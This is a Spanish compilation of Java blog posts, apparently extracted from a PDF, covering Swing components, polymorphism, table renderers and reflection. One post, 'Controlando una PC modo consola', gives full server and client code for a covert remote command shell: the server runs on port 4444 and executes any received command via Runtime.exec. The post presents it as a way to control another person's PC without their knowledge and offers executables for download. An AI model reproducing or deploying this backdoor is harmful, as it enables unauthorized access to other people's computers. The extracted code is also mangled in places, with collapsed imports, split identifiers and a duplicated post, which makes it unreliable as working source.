Sie sind auf Seite 1von 169

JNumKeyboard

Este es un teclado numrico para la digitacion de claves, de esta forma colocamos un grado de seguridad a nuestras aplicaciones, ya que se evita que si, dando un pequeo ejemplo un poco extremista, si alguien nos espa con algn keylogger, no podr hacerlo con esta herramienta ya que no se digita la contrasea con el teclado normal, sino con el mouse.

Imgenes Cdigo
Clase Principal
package clases; import import import import java.awt.Dimension; java.awt.GridLayout; java.awt.event.FocusEvent; java.awt.event.FocusListener;

import javax.swing.*; public class Principal extends JApplet{ JTextField txtusu=new JTextField(10); JPasswordField txtclave=new JPasswordField(10); JPopupMenu pop; JNumKeyboard teclado; public Principal(){ colocarSkin(); JPanel pafuera=new JPanel(); JPanel p=new JPanel(new GridLayout(2,2,0,0));

pafuera.setPreferredSize(new Dimension(200,30)); p.add(new JLabel("Usuario: ")); p.add(txtusu); p.add(new JLabel("Clave: ")); p.add(txtclave); txtclave.addFocusListener(new FocusListener(){ @Override public void focusGained(FocusEvent arg0) { pop = new JPopupMenu(); teclado=new JNumKeyboard(txtclave); pop.add(teclado); pop.setVisible(true); pop.setLocation(txtclave.getLocationOnScreen().x+112, txtclave.getLocationOnScreen().y-1); } @Override public void focusLost(FocusEvent arg0) { pop.setVisible(false); } }); pafuera.add(p); add(pafuera); } public void colocarSkin(){ try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.Ni mbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } } }

Clase JNumKeyboard
package clases; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JPanel; import javax.swing.JPasswordField; public class JNumKeyboard extends JPanel { JPasswordField t; public JNumKeyboard(JPasswordField txt){ t=txt; setLayout(new GridLayout(4,3,0,0)); ActionListener accion=new ActionListener(){ @Override public void actionPerformed(ActionEvent e) { JButton b=(JButton)e.getSource(); t.setText(""+t.getText()+b.getText()); } }; for(int i=0;i<12;i++){ if(i<9){ JButton b=new JButton(""+(i+1)); b.addActionListener(accion); add(b); }else{ if(i==9){ JButton b=new JButton(""); b.setEnabled(false); add(b); } if(i==10){ JButton b=new JButton("0"); b.addActionListener(accion); add(b);

} if(i==11){ JButton b=new JButton(""); b.setEnabled(false); add(b); } } } } } Al hacer clic sobre el campo de texto para digitar la contrasea se despliega una ventana emergente con botones, uno para cada dgito numrico. Al dar clic sobre el otro campo de texto esta ventana desaparece.

Controlando una PC modo consola


Ha sido difcil para nosotros esto das actualizar el blog, pero aqu estamos, llenos de ideas, hoy veremos como obtener la consola de otro pc, podremos hacer casi cualquier cosa en la otra pc, sin que la otra persona se de cuenta de que estamos controlando el pc. Podremos ejecutar programas, ver configuraciones de ip, estado de las conexiones del otro pc, etc.

Cdigo

Servidor Clase Principal


package clases; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; public class Principal { public Principal(){ try { ServerSocket server=new ServerSocket(4444); System.out.println("Escuchando..."); while(true){ Socket cliente=server.accept(); HiloManejador hm=new HiloManejador(cliente); hm.start(); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static void main(String arg[]){ Principal p=new Principal(); } }

Clase HiloManejador
package clases; import import import import import import java.io.BufferedReader; java.io.DataInputStream; java.io.DataOutputStream; java.io.IOException; java.io.InputStreamReader; java.net.Socket;

public class HiloManejador extends Thread{ Socket cliente; DataInputStream dis; DataOutputStream dos; Process p; public HiloManejador(Socket s){ cliente=s; } public void run(){ System.out.println("Cliente conectado"); while(true){ try { dis = new DataInputStream(cliente.getInputStream()); dos= new DataOutputStream(cliente.getOutputStream()); p=Runtime.getRuntime().exec(""+dis.readUTF()); BufferedReader s=new BufferedReader(new InputStreamReader(p.getInputStream())); String x=s.readLine(); String todo=""; while(x!=null){ System.out.println(x); todo+=x+"\n"; x=s.readLine(); } dos.writeUTF(""+todo); } catch (IOException e) { try { cliente.close(); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } } }

Cliente Clase Principal


package clases;

import import import import import import import import

java.awt.BorderLayout; java.awt.event.KeyEvent; java.awt.event.KeyListener; java.io.DataInputStream; java.io.DataOutputStream; java.io.IOException; java.net.Socket; java.net.UnknownHostException;

import javax.swing.*; public class Principal extends JFrame{ JTextArea txt; Socket s; JTextField consulta; public Principal(){ consulta=new JTextField(); txt=new JTextArea(); consulta.addKeyListener(new KeyListener(){ @Override public void keyPressed(KeyEvent e) { if(e.getKeyCode()==KeyEvent.VK_ENTER){ DataOutputStream dos; DataInputStream dis; try { dos = new DataOutputStream(s.getOutputStream()); dis=new DataInputStream(s.getInputStream()); dos.writeUTF(consulta.getText()); txt.append(""+dis.readUTF()+"\n"+"------------------------------------------------------"); } catch (IOException ex) { // TODO Auto-generated catch block ex.printStackTrace(); } } } @Override public void keyReleased(KeyEvent arg0) { // TODO Auto-generated method stub }

@Override public void keyTyped(KeyEvent arg0) { // TODO Auto-generated method stub } }); try { s=new Socket("192.168.195.128",4444); } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } add(consulta,BorderLayout.NORTH); add(new JScrollPane(txt)); } public static void main(String arg[]){ Principal p=new Principal(); p.setVisible(true); p.setBounds(0, 0, 300, 200); p.setDefaultCloseOperation(EXIT_ON_CLOSE); } } Descarga Todo el proyecto lo pueden descargar desde aqu, se incluyen los archivos fuentes, las imgenes, y los ejecutables para que ensayen, recuerden deben cambiar la ip, yo use una de mi maquina virtual.

Polimorfismo
Submitted by OscarRyz on Mi, 09/07/2011 - 00:02

Conceptos

El polimorfismo es quiz al caracterstica ms importante de la programacin orientada a objetos y tambin quiz la ms difcil de entender y creo que en parte se debe al nombre; no ayuda mucho y si impresiona al principio.

Pero si en vez de pensar en la palabra pensamos en como los objetos se comportan de diferente forma dependiendo de su naturaleza puede ser ms claro. Por ejemplo, en el post anterior Clases y Objetos hablaba como los objetos de nuestros sistema se pueden clasificar de acuerdo a sus atributos y comportamiento. Los objetos de la misma clase se comportan igual y los objetos de diferentes clases se comportan diferente. Parece demasiado obvio verdad? Pues es que lo es. Por ejemplo, el mecanismo de persistencia ( entindase, cuando voy a "salvar", o "guardar" algo ) puede utilizar una base de datos o el sistema de archivos entonces se tendran dos clases diferentes donde cada una hiciera algo distinto. Si tuvieramos esta clase llamada Persona:
class Persona { private String nombre; private String apellido; public String nombre() { return this.nombre; } public String apellido() { return this.nombre; } }

Podramos escribir una clase que persistiera personas a una base de datos as:
class GuardaPersonaEnBaseDeDatos { void salva( Persona persona ) { SomeMagicLibrary.executeUpdate( "UPDATE persona SET nombre = ? , apellido = ? ", persona.nombre(), persona.apellido() ); } }

El cdigo para salvar a la base de datos no importa mucho en este ejemplo, basta con ver que se utiliza una sentencia SQL y por ah una biblioteca mgica que haga todo el trabajo. Podramos tambin tener otra clase que en vez de usar una base de datos escribiera a un archivo:
class GuardaPersonaEnArchivo { void salva( Persona persona ) { PrintStream out = new PrintStream( new FileOutputStream( persona.nombre() + ".txt") ); out.printf("{ 'nombre' : '%s', 'apellido' : '%s' }", persona.nombre(), persona.apellido() ); out.close();

} }

De nuevo la implementacin aqu no es la importante, sino que tenga un mtodo que recibe una instancia de persona y hace algo. De esto se trata el polimorfismo! de que diferentes clases responden de diferente forma al mismo mensaje ( mensaje es cuando se invoca o se ejecuta un mtodo ), en este caso el mensaje o el mtodo fue salva( Persona ) y las dos clases lo hicieron de forma diferente. Eso es todo. Ahora. En Java, el tipo de dato ( la clase ) del objeto se debe de declarar antes de que el programa se ejecute ( por eso se le llama de tipeo esttico, por que los tipos de datos se definen "en frio" )
// Declara una variable llamada juan de tipo Persona Persona juan;

Otros lenguajes permiten definir el tipo de dato en tiempo de ejecucin ( tipeo dinmico ) Como a los objetos solo se les pueden enviar mensajes que estn definidos en su propia clase, habra problema para intentar hacer esto:
Persona juan = new Persona(); ...

GuardaPersonaEnBaseDeDatos guardar = new GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos. guardar = new GuardaPersonaEnArchivo(); // eeerrrk!! Error en tiempo de compilacin guardar.salva( juan ); // ya ni siquiera llega a esta lnea. El problema es que la variable guardar fue declarada como de tipo GuardaPersonaEnArchivo y por lo tanto ya no se le puede asignar el tipo
GuardaPersonaEnArchivo

En Java existen dos formas de solucionar este problema, la primera es definir una clase padre para ambas clases y definir el tipo de dato como el de esa clase:
class Guardador { void salva( Persona persona ) { // nah... no hagas nada.. } }

Y luego
class GuardaPersonaEnBaseDeDatos extends Guardador { void salva( Persona persona ) { . .. . . } }

y
class GuardaPersonaEnArchivo extends Guardador { void salva( Persona persona ) { . .. . . } }

Y definir el tipo de datos como el del padre:


Persona juan = new Persona(); ...

Guardador guardar = new GuardaPersonaEnBaseDeDatos(); guardar.salva( juan ); // lo almacena en la base de datos. guardar = new GuardaPersonaEnArchivo(); // compila bien guardar.salva( juan ); // ejecuta el otro mtodo Y dadaaaa!!! ya tenemos polimorfismo. La otra opcin es implementando una interfaz pero ya veremos eso despus. Conclusin Si parece demasiado fcil hacer polimorfirsmo en Java y se quedan con la idea de "Que!! eso es todo?!" pues les dir que s, eso es todo. Lo interesante aqu viene en la forma en la que se utiliza el polimorfismo y porque es tan importante en la POO. Por ejemplo en los plugins se escribe cdigo y se llaman mtodos sobre clases que ni siquiera existen an, porque ser el autor del plugin el que provea esa nueva funcionalidad. De la misma forma, la gran mayora de los famosos patrones de diseo se basan precisamente en esto, en el polimorfismo para que sean las implementaciones las que digan que es lo que se va a hacer.

Y en el ejemplo mismo que es tan burdo, se puede agregar fcilmente quiz un ao despus de haber escrito este pedazo de cdigo, un nuevo "Guardador" que utilice la red en vez de la base de datos o el sistema de archivos, bastara definir el nuevo mtodo:
class GuardaEnRed extends Guardador { void salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream dos = new DataOutputStream( s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close(); } }

Con lo que tendramos un nuevo guardador. Y eso es todo. Polimorfismo: "Llamada a un Java / mtodo virtual utilizando una referencia a una superclase ms generalizado de un objeto real invoca el mtodo en el objeto real (el ms especficos de subclase), utilizando un bottom-up mecanismo de bsqueda". Noooo pues con estas definiciones si le voy a entendeeeer, al menos con esta definicion me hago mas bolas. y luego este ejemplo que encontre: void test ()( //un objeto de tipo gato Cat simon = new Cat (); //se crea un objeto de tipo animal, que extiende de gato ??? Animal animal = simon; /* upcasting */ animal.eat (); /* = Cat.eat */ Perro rover = new Perro (); /* Rover segura upcast referencia a los animales*/ feed(rover); feed(simon); //aqui se esta mandando nuevamente al objeto gato ) void feed(Animal a) ( // Animal.eat () = Cat.eat () // feed(rover) = Dog.eat () //feed(Simon) = Cat.eat () a.eat (); )

Sinceramente no entiendo si se hace las mismas operaciones en animal.eat(); y cuando se manda al metodo y se ejecuta a.eat(); No dudo que para muchos se les complique entenderlo, pero tambien a otros como yo pues si se nos dificulta y mas con este tipo de ejemplos Yo te recomendaria usar interfaces, a excepcion de algunos casos en donde te recomendaria clases Abtractas: public interface Guardador { void salva( Persona persona ); } class GuardaEnRed implementsGuardador { void salva( Persona persona ) { Socket s = new Socket( someServer, somePort ); DataOutputStream dos = new DataOutputStream( s.getOutputStream() ); dos.writeUTF( persona.nombre() ); dos.writeUTF( persona.apellido() ); dos.close(); } } Cuando antes trataba de explicarle a alguien nuevo a la POO comenzaba con ejemplos cmo el que t das. Al final siempre terminaban preguntndome: "Bueno, a fin de cuentas polimorfismo es..." y con una carota de: "WTFFFF?!?!?!?!?!". A mi parecer una manera ms sencilla de hacer entender el polimorfismo es la manera en que llamas a un mensaje...aunque hay diferencia de opiniones respecto de los operadores (hablando de Java) en si se pueden o no considerar cmo mensajes. Sin embargo ilustran de una manera el polimorfismo. Ejemplo: // Ilustrando polimorfismo con el signo + class EjemploSignoSuma{ ---public static void main(String ... args){ ------//Si usamos el signo + con un entero, lo suma: ------int x = -15; ------int y = 665; ------int z = x + y; ------String s = String.format("Usando el smbolo de suma obtenemos que %d + %d = %d", x, y, z); ------//Ahora un ejemplo del uso del smbolo + con cadenas ------String wordOne = "The only place"; ------String wordTwo = "where you can dream"; ------s += "\n La frase usando el smbolo + es: " + wordOne + wordTwo; ------System.out.println(s);

------System.exit(0); ---} } Y lo vemos fcil, pues para cadenas el smbolo + es igual a decirle: "concatena", y para nmeros es igual a decirle: "suma". Otro ejemplo de polimorfismo con este mismo smbolo es el uso de expresiones regulares (las cuales, un servidor no domina muy bien, de hacer una metida de pata corregirme por favor), en donde este mismo smbolo (+) sirve para indicar que debe haber uno o ms dgitos de un carcter indicado.

Menu Dinamico
Ase poco vi este efecto en una pagina y me decidi a hacerlo en java, no fue tan dificil como pense al comienzo, fue bastante rapido.

Imagenes

Depronto a alguien le interese usarlo en sus proyectos, aqui esta para que lo disfruten. Solo dejo el codigo de la clase principal y el del panelmenu, por que sino haria muy extenso el post.
Clase Principal package clases;

import import import import import import import

java.awt.BorderLayout; java.awt.Dimension; java.awt.FlowLayout; java.awt.GridLayout; java.awt.event.ActionEvent; java.awt.event.ActionListener; javax.swing.*;

public class Principal extends JApplet{ JTextField txtusuario=new JTextField(10); JPasswordField txtclave=new JPasswordField(10); public Principal(){ colocarSkin(); setLayout(new BorderLayout()); JPanel pafuera=new JPanel(new FlowLayout()); JPanel pgrid=new JPanel(new GridLayout(1,5)); pafuera.add(pgrid); panelmenu pm1=new panelmenu pm2=new panelmenu pm3=new panelmenu pm4=new panelmenu pm5=new pgrid.add(pm1); pgrid.add(pm2); pgrid.add(pm3); pgrid.add(pm4); pgrid.add(pm5); add(pafuera); } public void colocarSkin(){ try { UIManager.setLookAndFeel("com.sun.jav a.swing.plaf.nimbus.NimbusLookAndFeel"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch panelmenu("Inicio"); panelmenu("Registrar"); panelmenu("Eliminar"); panelmenu("Buscar"); panelmenu("Contacto");

(UnsupportedLookAndFeelException e) { e.printStackTrace(); } } }

Clase panelmenu
package clases;

import import import import import import import import import import

java.awt.Cursor; java.awt.Graphics; java.awt.event.MouseEvent; java.awt.event.MouseListener; javax.swing.ImageIcon; javax.swing.JOptionPane; javax.swing.JPanel; java.awt.Color; java.awt.Dimension; java.awt.Font;

public class panelmenu extends JPanel implements MouseListener{ ImageIcon img; boolean sw=false; int y=0; String nombremenu; public panelmenu(String nom){ nombremenu=nom; img=new ImageIcon(this.getClass().getResource("../lib/inicio2.png")); addMouseListener(this); setPreferredSize(new Dimension((80),40)); } public void paintComponent(Graphics g){ super.paintComponents(g); g.drawImage(img.getImage(), 0, y, 80, 80, this); g.setFont(new Font("Verdana",Font.BOLD,12)); g.setColor(Color.WHITE); g.drawString(nombremenu, 10, 25+y); g.setColor(Color.BLACK);

g.drawString(nombremenu, 10, 65+y); } @Override public void mouseClicked(MouseEvent arg0) { JOptionPane.showMessageDialog(null,"Presionas te el menu " + nombremenu); } @Override public void mouseEntered(MouseEvent e) { sw=true; hilosubir hs=new hilosubir(this); hs.start(); setCursor(new Cursor(Cursor.HAND_CURSOR)); } @Override public void mouseExited(MouseEvent arg0) { sw=false; hilobajar hb=new hilobajar(this); hb.start(); setCursor(null); } @Override public void mousePressed(MouseEvent arg0) { } @Override public void mouseReleased(MouseEvent arg0) { } } El proyecto completo lo pueden ver en Java Zone, ademas pueden descargar el proyecto desde aqui.

Buscador de texto plano


Que onda ya ando de nuevo por aca: Les comparto est pequea utilidad que hice hace un par de das devido a la necesidad que me surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nada nuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es mucho mas facil tener una aplicacin intuitiva que nos ayude...

Copio el post directo de G+

Acabo de terminar un programita sencillo en java, que es util para buscar cadenas en archivos el cual tiene las siguientes caracteristicas: 1.-Recibe los siguientes parametros: -Criterio de busqueda (el texto que buscara en el archivo) -Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira las subcarpetas) -Extensin (la extensin de los archivos donde buscara, p.j. .java .txt) 2.- No distingue entre mayusculas y minusculas de tal manera que los criterios de busqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUE BUSCO" , etc , los toma como si fueran iguales. 3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvo coincidencias.. Comentarios: hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos y nos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalla dice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la ruta de donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y le das buscar es todo.. Ahorita busque una frase en una carpeta de 1.40 gb apx de tamao y se tardo poco menos de 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae esta opcin (lo que hace el programa) pero hice la misma busqueda y me encontro el mismo resultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba en

todos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado y windows me tronaba el proceso. Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que se puede mejorar dejando la busqueda a un hilo mientras se pone una animacin o algo que indique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de un gran tamao. Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero.. les gustaria probarlo? el codigo fuente esta en: https://gist.github.com/1095949 espero cualquier comentario o sugerencia.

JTable una hermosura


Ok... despus de unos 4 aos de estarme peleando con .NET (especicamente con WPF) y de regresar a ver "que tanto haba avanzado java" me reencuentro con jTable y me maravillo de lo bien que est estructurado. Es cierto, tal vez no tiene una forma tan directa de poner un query de SQL directo como fuente de datos y que esta arme el dataset para mostrarlo, pero ESO es una aberracin. Si ustedes, como me imagino lo han hecho, han tenido la necesidad de reutilizar cdigo y montarlo no slo en diferentes programas o en diferentes accesos a datos y presentarlos habrn sentido, tenido o implorado por una programacin modular por capas y que utilice completamente la independencia de datos entre la capa de presentacin y la capa de obtencin de resultado de datos (que prara fines prcticos llamaremos DAO). jTable permite una independencia en todos sus componentes, manejar la presentacin de los datos obtenidos mediante un jTableModel que puede ser el de omisin o uno personalizado, de igual manera cada celda puede,segn el tipo de datos presentar un manejo distinto de la presentacin de datos, como ejemplo sencillo pondremos un cdigo sencillo de una clase ocupada por una tabla para presentar los datos en una celda de varias lineas y con un tooltip para mostrar el contenido completo (espero haberme explicado): primero creamos la gui (eso lo damos por sentado y sugerimos en su caso usar NetBeans y su WYSIWYG para GUIs), a ese panel o ventana le asignamos un controlador (una clase independiente que maneje la lgica de comportamiento de la presentacin (as tenemos nuestra cara final independiente del que la maneja -como un ttere que se puede comportar de manera diferente con cada titiritero), lo que veremos entonces es cdigo de ese controlador: JTable res = ventanaControlar.getjTResultados(); res.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); palabras = busqueda.getPalabra(); res.getColumnModel().getColumn(0).setPreferredWidth(5 0); res.getColumnModel().getColumn(1).setPreferredWidth(2

00); res.getColumnModel().getColumn(2).setPreferredWidth(5 0); res.setDefaultRenderer(String.class, new MultiLineCellRenderer()); lo que estamos haciendo es decirle a nuestra tabla que ancho tendr cada columna y decirle que si el dato que se pone es un String se utilizar nuestra clase para mostrarla: /* * To change this template, choose Tools | Templates * and open the template in the editor. */ import import import import import import import java.awt.Component; java.awt.Font; javax.swing.JTable; javax.swing.JTextArea; javax.swing.UIManager; javax.swing.border.EmptyBorder; javax.swing.table.TableCellRenderer;

/** * * @author charly */ public class MultiLineCellRenderer extends JTextArea implements TableCellRenderer{ public MultiLineCellRenderer(){ setLineWrap(true); setWrapStyleWord(true); setOpaque(true); } public static boolean BOLD; @Override public Component getTableCellRendererComponent(JTable jtable, Object value, boolean isSelected, boolean hasFocus, int row, int column) { if(isSelected){ setForeground(jtable.getSelectionForeground()); setBackground(jtable.getSelectionBackground()); }else{ setForeground(jtable.getForeground());

setBackground(jtable.getBackground()); } Font font = null; if(BOLD) font = new Font(jtable.getFont().getFontName(), Font.BOLD, jtable.getFont().getSize() ); else font = jtable.getFont(); setToolTipText((String)value); setFont(font); setText((String)value); if(hasFocus){ setBorder(UIManager.getBorder("Table.focusCellHig hLightBroder")); }else{ setBorder(new EmptyBorder(0,0,0,0)); } return this; } } Espero que el cdigo sea autoexplicable, pero en dado caso lo que estamos haciendo es decir que cuando tengamos un String mostraremos un JTextArea, este debe implementar, para poder ser un CellRenderer, la interfaz TableCellRenderer con la cual el JTextArea incorpora los valores que le den a la celda y los "pinta", as de esta manera podemos, como en este caso, manipular si pondremos el resultado en negritas o no, de igual manera podramos decirle que el contenido (p.e.) es html y poner texto en diferentes colores o muchas cosas ms con independencia completa del resto del comportamiento de la tabla. As pues es como JTable va utilizando un paradigma importantsimo de cualquier problema de sistemas: divide y vencers, convirtiendo cada uno de los problemas de presentacin de una tabla de datos en una solucin completamente separados y con una solucin por omisin que puede ser completamente reemplazable. ya tendremos ms oportunidades para seguir hablando de como ir personalizando nuestras tablas de resultados via JTable.

Buscador de texto plano


Que onda ya ando de nuevo por aca:

Les comparto est pequea utilidad que hice hace un par de das devido a la necesidad que me surgio de buscar una cadena de texto, en el contenido de varios archivos, no es nada nuevo, y se puede hacer mediante comandos, sin embargo aveces y para algunos es mucho mas facil tener una aplicacin intuitiva que nos ayude... Copio el post directo de G+

Acabo de terminar un programita sencillo en java, que es util para buscar cadenas en archivos el cual tiene las siguientes caracteristicas: 1.-Recibe los siguientes parametros: -Criterio de busqueda (el texto que buscara en el archivo) -Directorio(la ruta desde donde empezara a buscar, es recursivo por lo que inlcuira las subcarpetas) -Extensin (la extensin de los archivos donde buscara, p.j. .java .txt) 2.- No distingue entre mayusculas y minusculas de tal manera que los criterios de busqueda: "contenido que busco" y "Contenido Que Busco" y "CONTENIDO QUE BUSCO" , etc , los toma como si fueran iguales. 3.- Como salida te muestra la ruta completa y el nombre del archivo donde se obtuvo coincidencias.. Comentarios: hice las pruebas necesarias y funciona de maravilla, muy util para los que programamos y nos toca corregir algo en algun archivo de donde lo unico que sabes es que en la pantalla dice "Reporte de Tal" bueno tomas el programita, escribes la frace en criterio, le das la ruta de donde estan todos los archivos dl proyecto, le especificas una extencion p.ej. ".java" y le das buscar es todo..

Ahorita busque una frase en una carpeta de 1.40 gb apx de tamao y se tardo poco menos de 3 minutos pero si me dio el archivo... el editor del lenguaje Genero, tambien trae esta opcin (lo que hace el programa) pero hice la misma busqueda y me encontro el mismo resultado que mi programa pero en poco mas de tres minutos y me trajo basura (buscaba en todos los archivos aunque no me interese) y en ocaciones, el editor se quedaba atorado y windows me tronaba el proceso. Mi programita tambien se pasmo unos segundos pero luego luego respondio creo que se puede mejorar dejando la busqueda a un hilo mientras se pone una animacin o algo que indique que esta buscando, pero como les digo, eso es cuando se busca en carpetas de un gran tamao. Por ultimo todo se puede mejorar, solo que para mi en estos momentos es lo que requiero.. les gustaria probarlo?

JPanel con Imagen de Fondo autoajustado a la ventana


Bueno yo les tengo un modo de aadir imagen de fondo a un JPanel y si dan al JPanel la propiedad de Tamao horizontal redefinible True y Tamao vertical redefinible True, Vern como se adpata la imagen al JFrame que contiene al JPanel. 1.- (opcional) Dentro del JPanel aadido al JFrame ( por que no tambin JInternalFrame) dale click derecho y ve a "Personalizar Cdigo". 2.- Cdigo: try { BgBorder borde = new BgBorder(ImageIO.read("/recursos/miImagenFondo.png")) ); jPanel1.setBorder(borde); } catch (IOException e) { System.out.println(e.getMessage()); } .......Y la clase mgica que hace el resto por nosotros.... public class BgBorder implements Border { private BufferedImage mImagen = null; public BgBorder(BufferedImage pImagen) { mImagen = pImagen; }

public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) { if (mImagen != null) { g.drawImage(mImagen, 0, 0, width, height, null); } } public Insets getBorderInsets(Component c) { return new Insets(0, 0, 0, 0); } public boolean isBorderOpaque() { return true; } } No recuerdo de donde lo le por la web pero me ha servido mucho para mejorar mis interfaces.

toString()
Quizas alguien (como yo) tenga que inspeccionar las propiedades en algun punto de sus codigo sin tener que realizar un debug, puede ser cuando obtienes la iformacion de una DB a un pojo por ejemplo, cuando recibes la informacion de un Request, cuando recuperas la informacion de algun otro lugar, el chiste es que necesitas ver e estado de tus variables. Bueno en mi caso voy a trabajar con clases que tienen aprox 50 propiedades cada una (no voy a discutir si eso bueno o malo, las voy a usar y punto) pero por experiencia se que a veces puede aterarse la informacion, mas que nada en la transportacion de los datos cuand lees de un fichero, cuando encriptas y "desencriptas", cuando lo mandas por HTTP y mas qe nada hay broncas con la codificacion o que llego mocho el valor... etc Bueno, ese es mi caso y coo yo no ser el unico que le mete mano al sistema quise sobreescribirle el toString() para que al invocarlo te muesre todas las propiedades que tiene la clase junto con su valor que almacena, de esa forma me evito hacerle el debug e inspeccionar una por una y e mi caso que son muchas propiedades pues me seria bien tedioso hacerlo Este codigo usa reflexion y busca todas las propiedades de clase y las lista junto con e valor que tiene asignado, pero pues en mi caso tambien quise darle una alineacion paraqe el valor de las propiedades fuera mas legible Yo defino por ejepo estas propiedades private String aaaaaaaaa = "tengo valor", bbbbbbb = "yo tabien tengo valor", ccccccccccccccc, ddddddddd,

eeeeeeee = "tienes el", fffffff = "valor", ggggg = "o", hhhh = "te vale", i, jj = "ME VALE!!", k; private double qqq www eee rrr ttt yyy private File zzzqwe = new File("."), xxxdgnf = new File("/"), cccdsdfgvy = new File("c:/mi/carpeta"), vvasdasvfdvkmg = new File("/tu/carpeta"), bbasdasdbdhfrth = new File("/home/sweet/home"), netewewwwnnert = new File("/asd/qwe.sh"), mmmkjfrygsdfg = new File("/home/work/asd.waa"); Y esto se veria asi: aaaaaaaaa..........tengo valor bbbbbbb............yo tabien tengo valor ccccccccccccccc....null ddddddddd..........null eeeeeeee...........tienes el fffffff............valor ggggg..............o hhhh...............te vale i..................null jj.................ME VALE!! k..................null qqq................645.318 www................123.13 eee................654.0 rrr................7722177.0 = = = = = = 645.318, 123.13, 654, 7722177, 666, 69;

ttt................666.0 yyy................69.0 zzzqwe.............. xxxdgnf............\ cccdsdfgvy.........c:\mi\carpeta vvasdasvfdvkmg.....\tu\carpeta bbasdasdbdhfrth....\home\sweet\home netewewwwnnert.....\asd\qwe.sh mmmkjfrygsdfg......\home\work\asd.waa y el codigo es este: /** * Escribo mi propio metodo {@code toString()} porque quiero ver todas las propiedades * de mi case en la frma que yo quiero */ @Override public String toString () { StringBuilder sb = new StringBuilder (); try { Class c = Class.forName (this.getClass ().getName ()); Field[] f = c.getDeclaredFields (); int l = getMaxLenght (f) + 4; for(Field propiedad:f) sb. append (rellenaEspacios (propiedad.getName (), l, '.')). append (propiedad.get (this)). append ("\n"); } catch (Throwable e) { e.printStackTrace (); } return sb.toString (); }

/** * Metodo que obtiene la longitud maxima de las propiedades de la clase * * @param f Arreglo de tipo {@link Field} que encapsula lainformacion de * las propiedades de la

clase * * @return retorna el valor de la longitud maxima de un nombre de propiedad */ private int getMaxLenght(Field[] f){ int max = 0; for(Field field:f) max = field.getName ().length () > max ? field.getName ().length ():max; return max; }

/** * Este metodo se encarga de poner el relleno en para que en la visualizacion se vean * alineadas las propiedades de la clase * * @param s Define la cadena a rellenar * @param l Define la longitud final que debe tener la cadena de retorno * @param r Define el caracter de relleno * @return */ private String rellenaEspacios(String s, int l, char r){ if(s == null || s.isEmpty () || l <= s.length ()) return s; StringBuilder sb = new StringBuilder (s); for(int indice = s.length (); indice < l; indice++) sb.append (r); return sb.toString (); } Pues espro que a alguien le sirva y claro, recuerden que este lo hice a mis necesidades y si quieren que haga mas monerias pus' ahi tienen el codigo! Por cierto, a mi me gustaria usarlo esto e varias clases, pero eso decopiar y pegar como qe no va muy bien. Si alguie ha utilizado http://projectlombok.org/ sabr que por ejemplo le pone: @Setter (AccessLevel.PUBLIC) private String miCadena;

y por lo que lei que cuando compila ya le genero el suguiente codigo: public void setMiCadena(String miCadena){ this.miCadena = miCadena; } y asi con el @Getter y varias cosas mas... Bueno el punto es que si alguien sabe hacerlo y le interesa este codigo pues vamos!!

JCheckBox en la Cabecera de un JTable


Es increible lo que se puede hacer con java, hace poco publique como colocar una X en las pestaas de un JTabbedPane, y ahora les voy a mostrar como colocar un JCheckBox en la cabecera de un JTable. Al seleccionar el JCheckBox de la cabecera se seleccionaran todos los que estan en cada fila. Pueden ver todo el codigo en Java Zone

Colocar X en nuestras Pestaas


JTabbedPane con X
Ahora veremos como podemos modificar el componente JTabbedPane para agregarle un botn con una X para cerrar la pestaa. Es comn ver en los navegadores esta opcin, y por que no poder usarla en nuestras aplicaciones. Ademas para este ejemplo usamos dos tipos de X, una dibujada y la otra es una imagen.

Imgenes

Cdigo Clase Principal


package Clases;

import java.awt.BorderLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.*; import javax.swing.UnsupportedLookAndFeelException;

public class Principal extends JApplet { JTabbedPane pestaas; public void init(){ colocarSkin(); pestaas=new JTabbedPane(); colocarPestaasPredeterminadas(); JPanel pboton=new JPanel(); JButton restaurar=new JButton("Restaurar"); restaurar.addActionListener(new ActionListener(){

@Override public void actionPerformed(ActionEvent e) { for(int i=0;i<pestaas.getTabCount();i++){ pestaas.removeTabAt(i); } colocarPestaasPredeterminadas(); } }); pboton.add(restaurar); add(pestaas); add(pboton,BorderLayout.SOUTH); } public void colocarPestaasPredeterminadas() { JPanel p1=new JPanel(); p1.add(new JLabel("Java Zone")); JPanel p2=new JPanel(); p2.add(new JLabel("JTabbedPane con X como imagen"));

